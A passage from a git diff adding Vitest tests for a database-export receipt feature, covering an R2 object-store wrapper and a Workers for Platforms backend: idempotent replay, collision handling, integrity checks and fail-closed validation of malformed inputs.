capability is malformed', + ); + expect((getterFailure as Error).cause).toBeUndefined(); + } + }); + it('exposes a truly optional bound decommission attachment scan capability', async () => { const absentApi = new PlainWorkerProvisioningApiFake(); const absent = backend(absentApi); diff --git a/packages/fleet-control/test/r2-export-store.harness.test.ts b/packages/fleet-control/test/r2-export-store.harness.test.ts index e9b3afce..fe339614 100644 --- a/packages/fleet-control/test/r2-export-store.harness.test.ts +++ b/packages/fleet-control/test/r2-export-store.harness.test.ts @@ -117,4 +117,51 @@ describe.sequential('R2DatabaseExportStore Wrangler harness', { }); expect(['first', 'second']).toContain(field(result, 'winner')); }); + + it('replays one stable receipt without creating another R2 object', async () => { + const result = await probe('receipt-replay'); + expect(result).toMatchObject({ + sameResult: true, + objectCount: 1, + bytesEqual: true, + cleaned: true, + customMetadata: { + anchorageReceiptVersion: '1', + anchorageReceiptAuthority: 'r2://exports/exports/receipts/v1', + anchorageDatabaseId: '11111111-1111-1111-1111-111111111111', + anchorageOperationId: '22222222-2222-4222-8222-222222222222', + }, + }); + expect(field(result, 'location')).toBe( + 'r2://exports/exports/receipts/v1/11111111-1111-1111-1111-111111111111/22222222-2222-4222-8222-222222222222.sql', + ); + }); + + it('converges matching concurrent receipt attempts to one winner', async () => { + const result = await probe('receipt-concurrent'); + expect(result).toMatchObject({ + sameResult: true, + objectCount: 1, + bytesEqual: true, + cleaned: true, + }); + expect(field(result, 'location')).toBe( + 'r2://exports/exports/receipts/v1/11111111-1111-1111-1111-111111111111/33333333-3333-4333-8333-333333333333.sql', + ); + }); + + it('preserves and refuses a same-operation receipt with different bytes', async () => { + const result = await probe('receipt-mismatch'); + expect(result).toMatchObject({ + message: + 'database export receipt collision differs from the committed export', + objectCount: 1, + winnerPreserved: true, + challengerRejected: true, + cleaned: true, + }); + expect(field(result, 'location')).toBe( + 'r2://exports/exports/receipts/v1/11111111-1111-1111-1111-111111111111/44444444-4444-4444-8444-444444444444.sql', + ); + }); }); diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts index f94cc714..2c3f16af 100644 --- a/packages/fleet-control/test/r2-export-store.test.ts +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -17,6 +17,10 @@ import type { import { describe, expect, it } from 'vitest'; import type { DurableDatabaseExportStore } from '../src/database-export-store.js'; import { R2DatabaseExportStore } from '../src/r2-export-store.js'; +import type { + DatabaseExportIntegrity, + DatabaseExportReceiptIdentity, +} from '../src/types.js'; import { NodeDigestStream, NodeFixedLengthStream, @@ -34,6 +38,7 @@ type PutValue = type PutMode = | 'normal' | 'reject-before' + | 'reject-after-commit' | 'reject-mid' | 'size-mismatch' | 'null-before-read'; @@ -108,7 +113,11 @@ function workerStreamFrom( return fixed.readable; } -function metadata(key: string, size: number) { +function metadata( + key: string, + size: number, + customMetadata?: Record, +) { return { key, version: '1', @@ -118,6 +127,7 @@ function metadata(key: string, size: number) { checksums: { toJSON: () => ({}) }, uploaded: new Date(0), storageClass: 'Standard', + ...(customMetadata === undefined ? {} : { customMetadata }), writeHttpMetadata() {}, } satisfies R2Object; } @@ -126,10 +136,11 @@ function objectBody( key: string, reportedSize: number, bodyBytes: Uint8Array, + customMetadata?: Record, readError?: Error, ): R2ObjectBody { return { - ...metadata(key, reportedSize), + ...metadata(key, reportedSize, customMetadata), body: workerStreamFrom(bodyBytes, readError), bodyUsed: false, async arrayBuffer() { @@ -163,7 +174,9 @@ function isReadable( class FakeR2Bucket implements R2Bucket { readonly objects = new Map(); + readonly customMetadata = new Map>(); readonly deleteCalls: string[] = []; + getCalls = 0; putCalls = 0; onPut: (() => void) | undefined; transformPutResult: ((object: R2Object) => R2Object) | undefined; @@ -188,6 +201,7 @@ class FakeR2Bucket implements R2Bucket { key: string, _options?: R2GetOptions, ): Promise { + this.getCalls += 1; if (this.getMode === 'get-reject') throw this.readError; if (this.getMode === 'null') return null; const stored = this.objects.get(key); @@ -206,6 +220,7 @@ class FakeR2Bucket implements R2Bucket { key, reportedSize, bodyBytes, + this.customMetadata.get(key), this.getMode === 'read-error' ? this.readError : undefined, ); return this.transformGetResult?.(result) ?? result; @@ -242,7 +257,11 @@ class FakeR2Bucket implements R2Bucket { const result = combineChunks(chunks, size); reader.releaseLock(); this.objects.set(key, result); - const object = metadata(key, size); + const customMetadata = options?.customMetadata; + if (customMetadata !== undefined) { + this.customMetadata.set(key, { ...customMetadata }); + } + const object = metadata(key, size, this.customMetadata.get(key)); return this.transformPutResult?.(object) ?? object; } if (this.putMode === 'reject-mid') { @@ -260,10 +279,16 @@ class FakeR2Bucket implements R2Bucket { : undefined; if (conditional === '*' && this.objects.has(key)) return null; this.objects.set(key, result); + const customMetadata = options?.customMetadata; + if (customMetadata !== undefined) { + this.customMetadata.set(key, { ...customMetadata }); + } const object = metadata( key, this.putMode === 'size-mismatch' ? size + 1 : size, + this.customMetadata.get(key), ); + if (this.putMode === 'reject-after-commit') throw this.putError; return this.transformPutResult?.(object) ?? object; } @@ -273,6 +298,7 @@ class FakeR2Bucket implements R2Bucket { for (const key of values) { this.deleteCalls.push(key); this.objects.delete(key); + this.customMetadata.delete(key); } } @@ -337,6 +363,96 @@ function createStore( }); } +const RECEIPT_DATABASE_ID = '11111111-1111-1111-1111-111111111111'; +const RECEIPT_OPERATION_ID = '22222222-2222-4222-8222-222222222222'; + +function integrityOf(value: Uint8Array): DatabaseExportIntegrity { + return { + size: value.byteLength, + sha256: createHash('sha256').update(value).digest('hex'), + }; +} + +async function integrityOfBody( + body: ReadableStream, +): Promise { + const reader = body.getReader(); + const hash = createHash('sha256'); + let size = 0; + try { + for (;;) { + const chunk = await reader.read(); + if (chunk.done) break; + hash.update(chunk.value); + size += chunk.value.byteLength; + } + } finally { + reader.releaseLock(); + } + return { size, sha256: hash.digest('hex') }; +} + +function receiptIdentity( + store: R2DatabaseExportStore, + override: Partial = {}, +): DatabaseExportReceiptIdentity { + return { + version: 1, + authority: store.receiptAuthority, + databaseId: RECEIPT_DATABASE_ID, + operationId: RECEIPT_OPERATION_ID, + ...override, + }; +} + +function receiptMetadataFor( + identity: DatabaseExportReceiptIdentity, +): Record { + return { + anchorageReceiptVersion: '1', + anchorageReceiptAuthority: identity.authority, + anchorageDatabaseId: identity.databaseId, + anchorageOperationId: identity.operationId, + }; +} + +function receiptKey(prefix = ''): string { + return `${prefix}receipts/v1/${RECEIPT_DATABASE_ID}/${RECEIPT_OPERATION_ID}.sql`; +} + +function seedReceipt( + bucket: FakeR2Bucket, + store: R2DatabaseExportStore, + value: Uint8Array, + metadataOverride?: Record, +): void { + const key = receiptKey(); + bucket.objects.set(key, value.slice()); + bucket.customMetadata.set( + key, + metadataOverride ?? receiptMetadataFor(receiptIdentity(store)), + ); +} + +function writeReceipt( + store: R2DatabaseExportStore, + value: Uint8Array, + options: { + readonly identity?: DatabaseExportReceiptIdentity; + readonly expectedIntegrity?: Promise; + readonly contentLength?: number; + readonly body?: ReadableStream; + } = {}, +) { + return store.writeReceipt({ + identity: options.identity ?? receiptIdentity(store), + body: options.body ?? streamFrom(value).body, + contentLength: options.contentLength ?? value.byteLength, + expectedIntegrity: + options.expectedIntegrity ?? Promise.resolve(integrityOf(value)), + }); +} + async function rejection( operation: Promise, message: string, @@ -1385,6 +1501,705 @@ describe('R2DatabaseExportStore', () => { expect(result.location).toBe('r2://exports/a/b/db/uuid-1-x.db'); }); + it('uses one canonical receipt key and exact metadata without minting a UUID', async () => { + const bucket = new FakeR2Bucket(); + const source = bytes(1, 2, 3, 4); + let uuidCalls = 0; + const store = createStore(bucket, { + keyPrefix: 'tenant/exports/', + randomUUID: () => { + uuidCalls += 1; + throw new Error('receipt mode must not mint a UUID'); + }, + }); + expect(store.receiptAuthority).toBe( + 'r2://exports/tenant/exports/receipts/v1', + ); + const identity = receiptIdentity(store); + const result = await writeReceipt(store, source, { identity }); + const key = receiptKey('tenant/exports/'); + expect(result).toEqual({ + location: `r2://exports/${key}`, + ...integrityOf(source), + }); + expect(bucket.objects.get(key)).toEqual(source); + expect(bucket.customMetadata.get(key)).toEqual( + receiptMetadataFor(identity), + ); + expect(Object.keys(bucket.customMetadata.get(key) ?? {})).toHaveLength(4); + expect(bucket.putCalls).toBe(1); + expect(bucket.deleteCalls).toHaveLength(0); + expect(uuidCalls).toBe(0); + + const controlledBucket = new FakeR2Bucket(); + const controlledStore = createStore(controlledBucket); + let signalPutStarted!: () => void; + let signalPipeStarted!: () => void; + let resolveExpected!: (value: DatabaseExportIntegrity) => void; + const putStarted = new Promise((resolve) => { + signalPutStarted = resolve; + }); + const pipeStarted = new Promise((resolve) => { + signalPipeStarted = resolve; + }); + const expected = new Promise((resolve) => { + resolveExpected = resolve; + }); + controlledBucket.onPut = signalPutStarted; + const streamed = streamFrom(source).body; + const controlledBody = { + get locked() { + return streamed.locked; + }, + pipeTo( + destination: WritableStream, + options?: StreamPipeOptions, + ) { + signalPipeStarted(); + return streamed.pipeTo(destination, options); + }, + cancel(reason?: unknown) { + return streamed.cancel(reason); + }, + } as ReadableStream; + const operation = writeReceipt(controlledStore, source, { + body: controlledBody, + expectedIntegrity: expected, + identity: receiptIdentity(controlledStore, { + operationId: '55555555-5555-4555-8555-555555555555', + }), + }); + await within( + Promise.all([putStarted, pipeStarted]), + 'receipt upload awaited expected integrity before streaming', + ); + resolveExpected(integrityOf(source)); + await expect(operation).resolves.toMatchObject(integrityOf(source)); + }); + + it('converges exact sequential and conditional receipt collisions', async () => { + const source = bytes(5, 6, 7, 8); + const sequentialBucket = new FakeR2Bucket(); + const sequentialStore = createStore(sequentialBucket); + const first = await writeReceipt(sequentialStore, source); + const replayBody = streamFrom(source, { stayOpen: true }); + const replay = await writeReceipt(sequentialStore, source, { + body: replayBody.body, + }); + expect(replay).toEqual(first); + expect(replayBody.cancellations).toHaveLength(1); + expect(sequentialBucket.putCalls).toBe(1); + expect(sequentialBucket.objects).toHaveLength(1); + + const concurrentBucket = new FakeR2Bucket(); + const concurrentStore = createStore(concurrentBucket); + const results = await Promise.all([ + writeReceipt(concurrentStore, source), + writeReceipt(concurrentStore, source), + ]); + expect(results[0]).toEqual(results[1]); + expect(results[0]).toEqual({ + location: `r2://exports/${receiptKey()}`, + ...integrityOf(source), + }); + expect(concurrentBucket.objects).toHaveLength(1); + expect(concurrentBucket.putCalls).toBe(2); + expect(concurrentBucket.deleteCalls).toHaveLength(0); + }); + + it('recovers an exact commit whose put response is lost', async () => { + const source = bytes(9, 10, 11, 12); + const committedBucket = new FakeR2Bucket(); + committedBucket.putMode = 'reject-after-commit'; + const committedStore = createStore(committedBucket); + await expect(writeReceipt(committedStore, source)).resolves.toEqual({ + location: `r2://exports/${receiptKey()}`, + ...integrityOf(source), + }); + expect(committedBucket.objects.get(receiptKey())).toEqual(source); + expect(committedBucket.deleteCalls).toHaveLength(0); + + for (const mode of [ + 'reject-before', + 'reject-mid', + ] satisfies readonly PutMode[]) { + const absentBucket = new FakeR2Bucket(); + absentBucket.putMode = mode; + const error = await rejection( + within( + writeReceipt(createStore(absentBucket), source), + `${mode} recovery did not settle`, + ), + 'R2 export upload failed', + ); + expect(error.cause).toBe(absentBucket.putError); + expect(absentBucket.objects).toHaveLength(0); + expect(absentBucket.deleteCalls).toHaveLength(0); + } + + const synchronousBucket = new FakeR2Bucket(); + const synchronousError = new Error('synchronous put failure'); + Object.defineProperty(synchronousBucket, 'put', { + value(): never { + throw synchronousError; + }, + }); + const synchronousResult = await rejection( + within( + writeReceipt(createStore(synchronousBucket), source), + 'synchronous put recovery did not settle', + ), + 'R2 export upload failed', + ); + expect(synchronousResult.cause).toBe(synchronousError); + expect(synchronousBucket.objects).toHaveLength(0); + expect(synchronousBucket.deleteCalls).toHaveLength(0); + }); + + it('preserves unowned or ambiguous mismatched receipt winners', async () => { + const source = bytes(1, 3, 5, 7); + const winner = bytes(2, 4, 6, 8); + for (const mode of [ + 'null-before-read', + 'reject-before', + ] satisfies readonly PutMode[]) { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + bucket.putMode = mode; + bucket.onPut = () => seedReceipt(bucket, store, winner); + await rejection( + within(writeReceipt(store, source), `${mode} mismatch did not settle`), + 'database export receipt collision differs from the committed export', + ); + expect(bucket.objects.get(receiptKey())).toEqual(winner); + expect(bucket.deleteCalls).toHaveLength(0); + } + + for (const metadataMutation of [ + (metadata: Record) => { + Reflect.deleteProperty(metadata, 'anchorageOperationId'); + }, + (metadata: Record) => { + metadata.extra = 'no'; + }, + (metadata: Record) => { + metadata.anchorageReceiptAuthority = 'r2://other/receipts/v1'; + }, + ]) { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const customMetadata = receiptMetadataFor(receiptIdentity(store)); + metadataMutation(customMetadata); + seedReceipt(bucket, store, winner, customMetadata); + await rejection( + writeReceipt(store, source), + 'database export receipt collision differs from the committed export', + ); + expect(bucket.objects.get(receiptKey())).toEqual(winner); + expect(bucket.deleteCalls).toHaveLength(0); + } + }); + + it('fails closed on malformed receipt, integrity, key, and readback boundaries', async () => { + const source = bytes(13, 14, 15, 16); + const malformedIdentities: readonly (readonly [unknown, string])[] = [ + [ + { + ...receiptIdentity(createStore(new FakeR2Bucket())), + databaseId: 'AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA', + }, + 'database export receipt identity is malformed', + ], + [ + { ...receiptIdentity(createStore(new FakeR2Bucket())), version: 2 }, + 'database export receipt identity is malformed', + ], + [ + { ...receiptIdentity(createStore(new FakeR2Bucket())), extra: true }, + 'database export receipt identity is malformed', + ], + [ + Object.assign( + { ...receiptIdentity(createStore(new FakeR2Bucket())) }, + { [Symbol('extra')]: true }, + ), + 'database export receipt identity is malformed', + ], + [ + Object.defineProperty( + { ...receiptIdentity(createStore(new FakeR2Bucket())) }, + 'databaseId', + { + enumerable: true, + get(): never { + throw new Error('identity accessor must not run'); + }, + }, + ), + 'database export receipt identity is malformed', + ], + [ + (() => { + const revoked = Proxy.revocable( + { ...receiptIdentity(createStore(new FakeR2Bucket())) }, + {}, + ); + revoked.revoke(); + return revoked.proxy; + })(), + 'database export receipt identity is malformed', + ], + [ + new Proxy({ ...receiptIdentity(createStore(new FakeR2Bucket())) }, {}), + 'database export receipt identity is malformed', + ], + [ + { + ...receiptIdentity(createStore(new FakeR2Bucket())), + operationId: 'AAAAAAAA-AAAA-4AAA-8AAA-AAAAAAAAAAAA', + }, + 'database export receipt identity is malformed', + ], + [ + (() => { + const identity = { + ...receiptIdentity(createStore(new FakeR2Bucket())), + }; + Reflect.deleteProperty(identity, 'operationId'); + return identity; + })(), + 'database export receipt identity is malformed', + ], + [ + { + ...receiptIdentity(createStore(new FakeR2Bucket())), + authority: 'r2://different/receipts/v1', + }, + 'database export receipt authority differs from configured authority', + ], + ]; + for (const [identity, message] of malformedIdentities) { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const streamed = streamFrom(source, { stayOpen: true }); + await rejection( + store.writeReceipt({ + identity: identity as DatabaseExportReceiptIdentity, + body: streamed.body, + contentLength: source.byteLength, + expectedIntegrity: Promise.resolve(integrityOf(source)), + }), + message, + ); + expect(streamed.cancellations).toHaveLength(1); + expect(bucket.getCalls).toBe(0); + expect(bucket.putCalls).toBe(0); + } + + for (const contentLength of [ + undefined, + 0, + -1, + 1.5, + Number.MAX_SAFE_INTEGER + 1, + ]) { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const streamed = streamFrom(source, { stayOpen: true }); + await rejection( + store.writeReceipt({ + identity: receiptIdentity(store), + body: streamed.body, + contentLength, + expectedIntegrity: Promise.resolve(integrityOf(source)), + }), + 'database export receipt contentLength must be a positive safe integer', + ); + expect(streamed.cancellations).toHaveLength(1); + expect(bucket.getCalls).toBe(0); + expect(bucket.putCalls).toBe(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const locked = streamFrom(source).body; + locked.getReader(); + await rejection( + writeReceipt(store, source, { body: locked }), + 'database export receipt body is locked or malformed', + ); + expect(bucket.getCalls).toBe(0); + expect(bucket.putCalls).toBe(0); + } + + for (const cancellation of ['throw', 'reject'] as const) { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const reasons: unknown[] = []; + const scripted = streamFrom(source, { + stayOpen: true, + rejectCancel: cancellation === 'reject', + }); + const body = + cancellation === 'reject' + ? scripted.body + : ({ + locked: false, + cancel(reason: unknown): never { + reasons.push(reason); + throw new Error('synchronous cancellation failure'); + }, + } as unknown as ReadableStream); + const error = await rejection( + store.writeReceipt({ + identity: { ...receiptIdentity(store), version: 2 } as never, + body, + contentLength: source.byteLength, + expectedIntegrity: Promise.resolve(integrityOf(source)), + }), + 'database export receipt identity is malformed', + ); + if (cancellation === 'throw') expect(reasons).toEqual([error]); + else expect(scripted.cancellations).toEqual([error]); + expect(bucket.getCalls).toBe(0); + expect(bucket.putCalls).toBe(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const streamed = streamFrom(source, { stayOpen: true }); + const thenable = Object.defineProperty({}, 'then', { + value() {}, + }) as unknown as Promise; + await rejection( + writeReceipt(store, source, { + body: streamed.body, + expectedIntegrity: thenable, + }), + 'database export receipt integrity is malformed', + ); + expect(streamed.cancellations).toHaveLength(1); + expect(bucket.getCalls).toBe(0); + expect(bucket.putCalls).toBe(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const streamed = streamFrom(source, { stayOpen: true }); + const input = Object.defineProperties(Object.create(null), { + body: { enumerable: true, value: streamed.body }, + expectedIntegrity: { + enumerable: true, + get(): never { + throw new Error('expected-integrity accessor must not escape'); + }, + }, + }); + await rejection( + store.writeReceipt(input as never), + 'database export receipt integrity is malformed', + ); + expect(streamed.cancellations).toHaveLength(1); + expect(bucket.getCalls).toBe(0); + expect(bucket.putCalls).toBe(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const error = await rejection( + writeReceipt(store, source, { + expectedIntegrity: Promise.resolve({ + size: 0, + sha256: '0'.repeat(64), + }), + }), + 'database export receipt integrity is malformed', + ); + expect(error).not.toHaveProperty('cause'); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const error = await rejection( + writeReceipt(store, source, { + expectedIntegrity: Promise.resolve( + new Proxy(integrityOf(source), {}), + ), + }), + 'database export receipt integrity is malformed', + ); + expect(error).not.toHaveProperty('cause'); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const expected = Promise.resolve(integrityOf(source)); + Object.defineProperty(expected, 'then', { + value(): never { + throw new Error('caller-owned then must not run'); + }, + }); + await expect( + writeReceipt(store, source, { expectedIntegrity: expected }), + ).resolves.toEqual({ + location: `r2://exports/${receiptKey()}`, + ...integrityOf(source), + }); + } + + for (const delta of [0, 1] as const) { + const baseLength = receiptKey().length; + const segmentLength = 1_024 - baseLength - 1 + delta; + const prefix = `${'a'.repeat(segmentLength)}/`; + expect(new TextEncoder().encode(receiptKey(prefix))).toHaveLength( + 1_024 + delta, + ); + const bucket = new FakeR2Bucket(); + const store = createStore(bucket, { keyPrefix: prefix }); + const operation = writeReceipt(store, source); + if (delta === 0) { + await expect(operation).resolves.toMatchObject(integrityOf(source)); + } else { + await rejection( + operation, + 'database export receipt key exceeds 1024 UTF-8 bytes', + ); + expect(bucket.getCalls).toBe(0); + expect(bucket.putCalls).toBe(0); + } + expect(bucket.deleteCalls).toHaveLength(0); + } + + for (const putMode of [ + 'normal', + 'reject-before', + 'reject-after-commit', + 'null-before-read', + ] satisfies readonly PutMode[]) { + const bucket = new FakeR2Bucket(); + bucket.putMode = putMode; + const store = createStore(bucket); + const error = await rejection( + within( + writeReceipt(store, source, { + expectedIntegrity: Promise.reject( + new Error(`source failed during ${putMode}`), + ), + }), + `${putMode} plus rejected integrity did not settle`, + ), + 'database export receipt integrity is malformed', + ); + expect(error).not.toHaveProperty('cause'); + expect(bucket.deleteCalls).toHaveLength(0); + } + + for (const errorAfter of [0, 2] as const) { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const streamed = streamFrom(source, { errorAfter }); + await rejection( + within( + writeReceipt(store, source, { + body: streamed.body, + expectedIntegrity: Promise.resolve(integrityOf(source)), + }), + `source error after ${errorAfter} bytes did not settle`, + ), + 'R2 export upload failed', + ); + expect(bucket.objects).toHaveLength(0); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + bucket.putResolveAfterBytes = source.byteLength; + const store = createStore(bucket); + const streamed = streamFrom(source, { + errorAfter: source.byteLength, + }); + await rejection( + within( + writeReceipt(store, source, { + body: streamed.body, + expectedIntegrity: Promise.resolve(integrityOf(source)), + }), + 'post-commit source error did not settle', + ), + 'R2 export body did not stream completely', + ); + expect(bucket.objects.get(receiptKey())).toEqual(source); + expect(bucket.deleteCalls).toHaveLength(0); + bucket.putResolveAfterBytes = undefined; + await expect(writeReceipt(store, source)).resolves.toEqual({ + location: `r2://exports/${receiptKey()}`, + ...integrityOf(source), + }); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const streamed = streamFrom(source, { errorAfter: 2 }); + const [storeBody, hashBody] = streamed.body.tee(); + await rejection( + within( + writeReceipt(store, source, { + body: storeBody, + expectedIntegrity: integrityOfBody(hashBody), + }), + 'two-branch source error did not settle', + ), + 'database export receipt integrity is malformed', + ); + expect(bucket.objects).toHaveLength(0); + expect(bucket.deleteCalls).toHaveLength(0); + } + + for (const [getMode, message] of [ + ['size-mismatch', 'database export receipt readback failed'], + ['short', 'database export receipt readback failed'], + ['read-error', 'database export receipt readback failed'], + [ + 'tamper', + 'database export receipt collision differs from the committed export', + ], + ] satisfies readonly (readonly [GetMode, string])[]) { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + seedReceipt(bucket, store, source); + bucket.getMode = getMode; + await rejection(writeReceipt(store, source), message); + expect(bucket.objects.get(receiptKey())).toEqual(source); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + bucket.onPut = () => { + bucket.getMode = 'get-reject'; + }; + await rejection( + writeReceipt(store, source), + 'database export receipt readback failed', + ); + expect(bucket.objects.get(receiptKey())).toEqual(source); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + bucket.getMode = 'get-reject'; + const store = createStore(bucket); + const streamed = streamFrom(source, { stayOpen: true }); + await rejection( + within( + writeReceipt(store, source, { + body: streamed.body, + expectedIntegrity: new Promise(() => undefined), + }), + 'preflight get rejection awaited integrity', + ), + 'database export receipt readback failed', + ); + expect(streamed.cancellations).toHaveLength(1); + expect(bucket.putCalls).toBe(0); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + bucket.getMode = 'get-reject'; + const error = await rejection( + writeReceipt(createStore(bucket), source, { + expectedIntegrity: Promise.reject( + new Error('rejected alongside preflight get'), + ), + }), + 'database export receipt readback failed', + ); + expect(error).not.toHaveProperty('cause'); + expect(bucket.putCalls).toBe(0); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + seedReceipt(bucket, store, source, { wrong: 'metadata' }); + await rejection( + within( + writeReceipt(store, source, { + expectedIntegrity: new Promise(() => undefined), + }), + 'metadata mismatch awaited integrity', + ), + 'database export receipt collision differs from the committed export', + ); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + seedReceipt(bucket, store, source, { wrong: 'metadata' }); + const error = await rejection( + writeReceipt(store, source, { + expectedIntegrity: Promise.reject( + new Error('rejected alongside metadata mismatch'), + ), + }), + 'database export receipt collision differs from the committed export', + ); + expect(error).not.toHaveProperty('cause'); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + seedReceipt(bucket, store, source); + bucket.getMode = 'read-error'; + const error = await rejection( + writeReceipt(store, source, { + expectedIntegrity: Promise.reject(new Error('source failed')), + }), + 'database export receipt integrity is malformed', + ); + expect(error).not.toHaveProperty('cause'); + expect(bucket.deleteCalls).toHaveLength(0); + } + + { + const bucket = new FakeR2Bucket(); + const store = createStore(bucket); + const declared = integrityOf(source); + const error = await rejection( + writeReceipt(store, source, { + expectedIntegrity: Promise.resolve({ + ...declared, + sha256: '0'.repeat(64), + }), + }), + 'database export receipt source integrity differs from the streamed export', + ); + expect(error).not.toHaveProperty('cause'); + expect(bucket.objects.get(receiptKey())).toEqual(source); + expect(bucket.deleteCalls).toHaveLength(0); + } + }); + it('satisfies the database export store contract', () => { const store: DurableDatabaseExportStore = createStore(new FakeR2Bucket()); expect(store).toBeInstanceOf(R2DatabaseExportStore); diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index 09f4da0c..1807fe0b 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -26,6 +26,7 @@ import type { ApplicationR2Binding, ApplicationR2BucketSnapshot, DatabaseExport, + DatabaseExportReceiptIdentity, DatabaseReference, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, @@ -115,6 +116,13 @@ const NAMESPACED_STATE = Object.freeze({ sharedOutboundWorkerName: 'fleet-shared-outbound', stateEgressRootSecret: 'state-egress-root-secret-value-0001', }); +const RECEIPT_AUTHORITY = 'r2://fleet-exports/receipts/v1'; +const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = { + version: 1, + authority: RECEIPT_AUTHORITY, + databaseId: '00000000-0000-0000-0000-000000000001', + operationId: '00000000-0000-4000-8000-000000000002', +}; class MemoryFleetStore implements FleetStateStore { record: FleetRecord | undefined; @@ -1030,6 +1038,148 @@ async function attestedHealthResponse( } describe('WorkersForPlatformsBackend', () => { + it('exposes and forwards receipt export only for a capable WFP client', async () => { + const absentClient = new FakeApi(); + const absent = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: absentClient, + hostRoutingKvId: 'host-routing', + }); + expect('databaseExportReceiptAuthority' in absent).toBe(false); + expect('exportDatabaseReceipt' in absent).toBe(false); + + const client = new FakeApi(); + const legacy = vi + .spyOn(client, 'exportDatabase') + .mockRejectedValue(new Error('legacy export must not run')); + let authorityReads = 0; + let methodReads = 0; + let receiver: unknown; + let received: DatabaseExportReceiptIdentity | undefined; + Object.defineProperties(client, { + databaseExportReceiptAuthority: { + configurable: true, + get() { + authorityReads += 1; + return RECEIPT_AUTHORITY; + }, + }, + exportDatabaseReceipt: { + configurable: true, + get() { + methodReads += 1; + return function ( + this: unknown, + identity: DatabaseExportReceiptIdentity, + ) { + receiver = this; + received = identity; + return Promise.resolve({ + databaseId: identity.databaseId, + location: 'r2://fleet-exports/receipt.sql', + size: 4, + sha256: 'a'.repeat(64), + }); + }; + }, + }, + }); + const capable = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routing', + }); + expect(capable.databaseExportReceiptAuthority).toBe(RECEIPT_AUTHORITY); + expect([authorityReads, methodReads]).toEqual([1, 1]); + const exportReceipt = capable.exportDatabaseReceipt; + if (!exportReceipt) throw new Error('expected receipt export capability'); + await expect(exportReceipt(RECEIPT_IDENTITY, fence)).resolves.toEqual({ + databaseId: RECEIPT_IDENTITY.databaseId, + location: 'r2://fleet-exports/receipt.sql', + size: 4, + sha256: 'a'.repeat(64), + }); + expect(receiver).toBe(client); + expect(received).toEqual(RECEIPT_IDENTITY); + expect(client.mutationFenceEntries).toBe(1); + expect(legacy).not.toHaveBeenCalled(); + + received = undefined; + const authorityFailure = await Promise.resolve() + .then(() => + exportReceipt( + { ...RECEIPT_IDENTITY, authority: 'r2://different/receipts/v1' }, + fence, + ), + ) + .catch((error: unknown) => error); + expect(authorityFailure).toBeInstanceOf(Error); + expect((authorityFailure as Error).message).toBe( + 'database export receipt authority differs from configured authority', + ); + expect((authorityFailure as Error).cause).toBeUndefined(); + expect(received).toBeUndefined(); + expect(client.mutationFenceEntries).toBe(1); + + const incomplete = new FakeApi(); + Object.defineProperty(incomplete, 'databaseExportReceiptAuthority', { + configurable: true, + value: RECEIPT_AUTHORITY, + }); + const failure = (() => { + try { + return new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: incomplete, + hostRoutingKvId: 'host-routing', + }); + } catch (error) { + return error; + } + })(); + expect(failure).toBeInstanceOf(Error); + expect((failure as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((failure as Error).cause).toBeUndefined(); + + for (const property of [ + 'databaseExportReceiptAuthority', + 'exportDatabaseReceipt', + ] as const) { + const throwingClient = new FakeApi(); + if (property === 'exportDatabaseReceipt') { + Object.defineProperty( + throwingClient, + 'databaseExportReceiptAuthority', + { configurable: true, value: RECEIPT_AUTHORITY }, + ); + } + Object.defineProperty(throwingClient, property, { + configurable: true, + get() { + throw new Error(`${property} getter must not escape`); + }, + }); + const getterFailure = (() => { + try { + return new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: throwingClient, + hostRoutingKvId: 'host-routing', + }); + } catch (error) { + return error; + } + })(); + expect(getterFailure).toBeInstanceOf(Error); + expect((getterFailure as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((getterFailure as Error).cause).toBeUndefined(); + } + }); + it('provisions dispatch-native state without an ordinary per-deployment Worker', async () => { const client = new FakeApi(); const external = { diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts 